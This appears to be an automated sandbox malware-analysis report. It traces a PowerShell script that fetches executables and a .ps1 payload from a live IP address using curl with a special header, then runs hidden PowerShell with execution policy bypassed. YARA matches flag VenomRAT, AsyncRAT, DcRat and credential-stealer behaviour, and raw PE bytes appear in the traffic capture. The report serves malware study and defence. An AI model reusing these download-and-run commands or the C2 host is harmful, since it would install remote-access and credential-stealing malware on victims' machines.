Jan 6, 2025 07:59:01.129601955 CET	182	OUT	GET /infopage/trwesf.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Jan 6, 2025 07:59:01.766001940 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:59:01 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 04 Jan 2025 14:21:20 GMT ETag: "8a00-62ae21bf2911d" Accept-Ranges: bytes Content-Length: 35328 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b4 a3 26 da 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 86 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 18 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL&"0 @ `4O H.text `.rsrc@@.reloc@BhH!`}0H(oi+%a ]ai]Xi]Xi20(((o(0rpssor>sp~(o&or`sp~(o&o%~(oorsp~(orsp~(oo&((((j(
Jan 6, 2025 07:59:01.766028881 CET	1236	IN	Data Raw: 0a 72 ce 73 00 70 28 11 00 00 0a 6f 12 00 00 0a 80 01 00 00 04 2a 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 34 03 00 00 23 7e 00 00 a0 03 00 00 34 04 00 00 23 53 74 72 69 6e 67 73 Data Ascii: rsp(o*BSJBv4.0.30319l4#~4#Stringst#US{#GUID{t#BlobW3PPpp
Jan 6, 2025 07:59:01.766041994 CET	1236	IN	Data Raw: 67 65 74 46 72 61 6d 65 77 6f 72 6b 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 46 69 6c 65 56 65 72 73 69 6f 6e 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 41 74 74 72 69 62 75 74 65 00 Data Ascii: getFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAtt
Jan 6, 2025 07:59:01.766052961 CET	1236	IN	Data Raw: 00 66 00 53 00 76 00 6d 00 37 00 57 00 43 00 76 00 34 00 53 00 52 00 70 00 4f 00 62 00 34 00 38 00 65 00 58 00 76 00 30 00 65 00 58 00 55 00 37 00 71 00 4f 00 4a 00 67 00 72 00 47 00 69 00 74 00 64 00 47 00 46 00 6a 00 2f 00 62 00 35 00 33 00 63 Data Ascii: fSvm7WCv4SRpOb48eXv0eXU7qOJgrGitdGFj/b53cyqxtnVrLOrwufk+fzmndGA8OzIq6K99snS0vOGjt3Ys/nKjor5xNuD16HYzcXhy9XVzp6clbaB753Iiz
Jan 6, 2025 07:59:01.766064882 CET	1236	IN	Data Raw: 00 69 00 4d 00 42 00 67 00 52 00 48 00 53 00 30 00 39 00 45 00 30 00 5a 00 57 00 4d 00 4b 00 4f 00 38 00 72 00 4f 00 65 00 64 00 72 00 63 00 72 00 71 00 6c 00 37 00 69 00 42 00 74 00 49 00 53 00 47 00 76 00 70 00 76 00 74 00 39 00 39 00 54 00 38 Data Ascii: iMBgRHS09E0ZWMKO8rOedrcrql7iBtISGvpvt99T8/fHB0ffwpa3Z543/ze3YsMTI6t27y6enqZmEqPrMytvf1MLB8aLhz8r0peS0t4nUy8jD/b6VvvKlqZmJ
Jan 6, 2025 07:59:01.766076088 CET	1236	IN	Data Raw: 00 56 00 70 00 68 00 43 00 33 00 74 00 4f 00 54 00 67 00 42 00 62 00 51 00 55 00 70 00 75 00 57 00 33 00 5a 00 71 00 43 00 47 00 74 00 2f 00 58 00 46 00 39 00 77 00 63 00 51 00 31 00 58 00 54 00 45 00 64 00 64 00 63 00 77 00 31 00 74 00 51 00 57 Data Ascii: VphC3tOTgBbQUpuW3ZqCGt/XF9wcQ1XTEddcw1tQWB9WHJ0QGRtf3BNBz09QBAqPxB2R0V4W1siO1VVh52/p6qtnZ6lgJ2QpNuso7Kk0/3zsL62ic7qjb2ztt
Jan 6, 2025 07:59:01.766089916 CET	776	IN	Data Raw: 00 79 00 43 00 77 00 74 00 6a 00 49 00 69 00 67 00 39 00 54 00 78 00 67 00 65 00 51 00 6b 00 59 00 69 00 41 00 69 00 46 00 4b 00 46 00 42 00 4d 00 39 00 42 00 30 00 52 00 6c 00 47 00 53 00 77 00 6f 00 5a 00 68 00 73 00 74 00 4a 00 42 00 38 00 61 Data Ascii: yCwtjIig9TxgeQkYiAiFKFBM9B0RlGSwoZhstJB8aaw0vWwlbaVhidwg8LXITTU8TR0VSb0JAU2kEF1BIBhs/ZlpnS08HUXZIF0xuRUtuRntCIkJSdnhdW3Zl
Jan 6, 2025 07:59:01.766100883 CET	1236	IN	Data Raw: 00 44 00 42 00 78 00 34 00 6c 00 4f 00 43 00 51 00 55 00 57 00 6a 00 38 00 41 00 4d 00 42 00 73 00 49 00 49 00 52 00 56 00 30 00 54 00 48 00 64 00 5a 00 5a 00 6d 00 6c 00 53 00 49 00 6d 00 4e 00 6a 00 65 00 56 00 38 00 47 00 51 00 68 00 4e 00 63 Data Ascii: DBx4lOCQUWj8AMBsIIRV0THdZZmlSImNjeV8GQhNcDWpBYElOSUlTRg1Na29HQU4xXS5vUkJtQkZ+JWM0fSZEUD9FYkk6QkVdoZOzuZPxuY+Q6aWulJ+N2MfQ
Jan 6, 2025 07:59:01.766113043 CET	1236	IN	Data Raw: 00 54 00 30 00 6e 00 49 00 57 00 55 00 33 00 46 00 78 00 45 00 31 00 55 00 47 00 38 00 64 00 43 00 54 00 49 00 44 00 45 00 68 00 49 00 5a 00 46 00 58 00 55 00 5a 00 46 00 78 00 38 00 56 00 4c 00 41 00 38 00 75 00 43 00 54 00 59 00 71 00 4c 00 45 Data Ascii: T0nIWU3FxE1UG8dCTIDEhIZFXUZFx8VLA8uCTYqLE1PFVU0PV89CDM6Nz45Bj8SKVpUIngPc39VXjQ3C1hPY19rT01EWH9AXwhVZEFAc01BU2Y7Hk1fX0BxRm
Jan 6, 2025 07:59:01.766124964 CET	1236	IN	Data Raw: 00 49 00 77 00 71 00 61 00 6d 00 78 00 59 00 4c 00 58 00 68 00 72 00 48 00 52 00 30 00 39 00 48 00 73 00 34 00 38 00 2b 00 59 00 79 00 4d 00 6a 00 41 00 6f 00 66 00 48 00 78 00 34 00 5a 00 69 00 49 00 69 00 61 00 43 00 7a 00 76 00 59 00 57 00 39 Data Ascii: IwqamxYLXhrHR09Hs48+YyMjAofHx4ZiIiaCzvYW97q3T3NK/1crdnsEfIjYwDmUMIBAdDkoeLioMFDZVGhcaOyQwNTgNLQFkawAVLAs6CQIZMQQiMwk8M1tb
Jan 6, 2025 07:59:01.771025896 CET	1236	IN	Data Raw: 00 49 00 61 00 49 00 75 00 66 00 37 00 59 00 34 00 4c 00 37 00 56 00 75 00 49 00 66 00 71 00 6b 00 62 00 75 00 39 00 36 00 6f 00 37 00 33 00 75 00 62 00 36 00 73 00 6d 00 35 00 36 00 79 00 73 00 4b 00 4f 00 4f 00 74 00 36 00 6e 00 46 00 31 00 76 Data Ascii: IaIuf7Y4L7VuIfqkbu96o73ub6sm56ysKOOt6nF1v23jdXCm9zIxqGj5JfIvJjW9NL95dzC0d2Dy6Gf/rL3vZObga6Gg4/r+bSi4bb7qNPMpPj41aH65d32xh
Jan 6, 2025 07:59:02.452244997 CET	158	OUT	GET /infopage/tvsqyp.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 6, 2025 07:59:02.637146950 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:59:02 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 04 Jan 2025 14:17:41 GMT ETag: "2fdc00-62ae20ee51758" Accept-Ranges: bytes Content-Length: 3136512 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf\g// 0@ @0@/S0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS/r68XNd/xeN[>F$y'E}+iG<

Target ID:	0
Start time:	01:58:55
Start date:	06/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:58:55
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:58:58
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.bat"
Imagebase:	0x7ff6624a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:58:58
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1
Imagebase:	0x7ff6624a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:58:58
Start date:	06/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:58:58
Start date:	06/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1
Imagebase:	0x7ff7f2d50000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:59:01
Start date:	06/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline"
Imagebase:	0x7ff6e2950000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:59:01
Start date:	06/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES91A5.tmp" "c:\Users\user\AppData\Local\Temp\ivm1acbc\CSC3984141EEAB441BDB4B78998253F3D3.TMP"
Imagebase:	0x7ff713e00000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:59:04
Start date:	06/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x190000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:59:04
Start date:	06/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x4d0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:59:04
Start date:	06/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x60000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:59:04
Start date:	06/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x310000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:59:04
Start date:	06/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd30000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 0000000D.00000002.4520096797.000000000339B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Function 00007FF848F13885 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093641927.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 3ba9114046e11a649686971ef61d8f991b7fc3e5e4aa5477511c0c236c52cbbf
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 6D01677111CB0C4FDB44EF0CE451AA5B7E0FB95364F50056EE58AC3695D736E881CB45

Analysis Process: powershell.exePID: 7580, Parent PID: 7556COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848F45F80 Relevance: 3.8, Strings: 2, Instructions: 1297
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hK_H, xrefs: 00007FF848F4BC6D
d, xrefs: 00007FF848F4B794

Memory Dump Source

Source File: 00000005.00000002.2216065926.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID: d$hK_H
API String ID: 0-3516879071
Opcode ID: 8e977ec92dd5f9aa3f31ca5e898a02b9a097b5099b72af8fd6b6cc72c934b93b
Instruction ID: a7752b53b26d7951e4291d287a0664017386b69a88647fcb90ae2cbe1947d145
Opcode Fuzzy Hash: 8e977ec92dd5f9aa3f31ca5e898a02b9a097b5099b72af8fd6b6cc72c934b93b
Instruction Fuzzy Hash: 79825531A1DA4A8FE799EB2888456B677E1FF65740F1442BEC04AC72D7DF29E8438740

Function 00007FF848F4D2F8 Relevance: 2.9, Strings: 2, Instructions: 387
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

oK_^, xrefs: 00007FF848F4D501
[pK, xrefs: 00007FF848F4D45F

Memory Dump Source

Source File: 00000005.00000002.2216065926.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID: oK_^$[pK
API String ID: 0-738319859
Opcode ID: 2bb897b964986c34177ecba322e17d0cd3a5fa56c82410e498850f7c3a39d39f
Instruction ID: e20fbb73ce985089781002d53466c67c62352a420e3306b77b11254f8621965e
Opcode Fuzzy Hash: 2bb897b964986c34177ecba322e17d0cd3a5fa56c82410e498850f7c3a39d39f
Instruction Fuzzy Hash: C5911837B1E92A6AE244766DB8551EA7750FFD06BEB040377D28CCD193DA0C744A42E8

Function 00007FF849011FD7 Relevance: 2.2, Strings: 1, Instructions: 922
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X!I, xrefs: 00007FF84901270E

Memory Dump Source

Source File: 00000005.00000002.2217395560.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849010000_powershell.jbxd

Similarity

API ID:
String ID: X!I
API String ID: 0-4036207727
Opcode ID: 60b417150bd5c223a0a18e24cddd246acdff4ff93737a252a0d856ad214a9e89
Instruction ID: f7e9e2133dc3535930f5204ce899b593d2a156061f9376b019d71622ac69db6c
Opcode Fuzzy Hash: 60b417150bd5c223a0a18e24cddd246acdff4ff93737a252a0d856ad214a9e89
Instruction Fuzzy Hash: 4952282190EBC58FEB66AB3C58661B47FE1EF57660B0901FBD049C70E3E91A9C06C352

Function 00007FF848F4BA99 Relevance: 1.8, Strings: 1, Instructions: 541
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hK_H, xrefs: 00007FF848F4BC6D

Memory Dump Source

Source File: 00000005.00000002.2216065926.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID: hK_H
API String ID: 0-3862817512
Opcode ID: 175033d57d5639a832ce95f881e008d54c43ddae4bbcec863238ce8ac511411b
Instruction ID: ef5d77e0b478d4271a414f86e420e45b0103c60c823090674223870e93c374b4
Opcode Fuzzy Hash: 175033d57d5639a832ce95f881e008d54c43ddae4bbcec863238ce8ac511411b
Instruction Fuzzy Hash: EBF12731E1D98A8FE789EB2888546B577E2FF69784F1441BAC00AC72D7DF299C028740

Function 00007FF848F4C6F9 Relevance: 1.7, APIs: 1, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2216065926.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d52ae52cbeffe938754ac8807ad455e631c9f9a47ae8386c86d31eb107adccb6
Instruction ID: 07a7b5d5a999c0fb7c1280e9491c4c7bdbcef3e823bbe151dcaa3541ce8fcf5d
Opcode Fuzzy Hash: d52ae52cbeffe938754ac8807ad455e631c9f9a47ae8386c86d31eb107adccb6
Instruction Fuzzy Hash: 2061033190DA884FE758EB6C98596B97BE0FF69750F14427FE04DD3292DF38A8028785

Function 00007FF848F4C809 Relevance: 1.6, APIs: 1, Instructions: 131
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF848F4C8CE

Memory Dump Source

Source File: 00000005.00000002.2216065926.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f40000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 97109f6acac805281a638e97343dcdff51e88a8f0399c7b280716bbc50317628
Instruction ID: 151a31ec44d3205b7d37a1b3d185b7e03b138bfdd98a521ec88ff41d19509dc2
Opcode Fuzzy Hash: 97109f6acac805281a638e97343dcdff51e88a8f0399c7b280716bbc50317628
Instruction Fuzzy Hash: AB31DF3190CA5C8FDB58EF5CD849AE9BBE0FB68721F04422FE049E3251CB74A8018B85

Function 00007FF84901055D Relevance: .7, Instructions: 685
COMMON

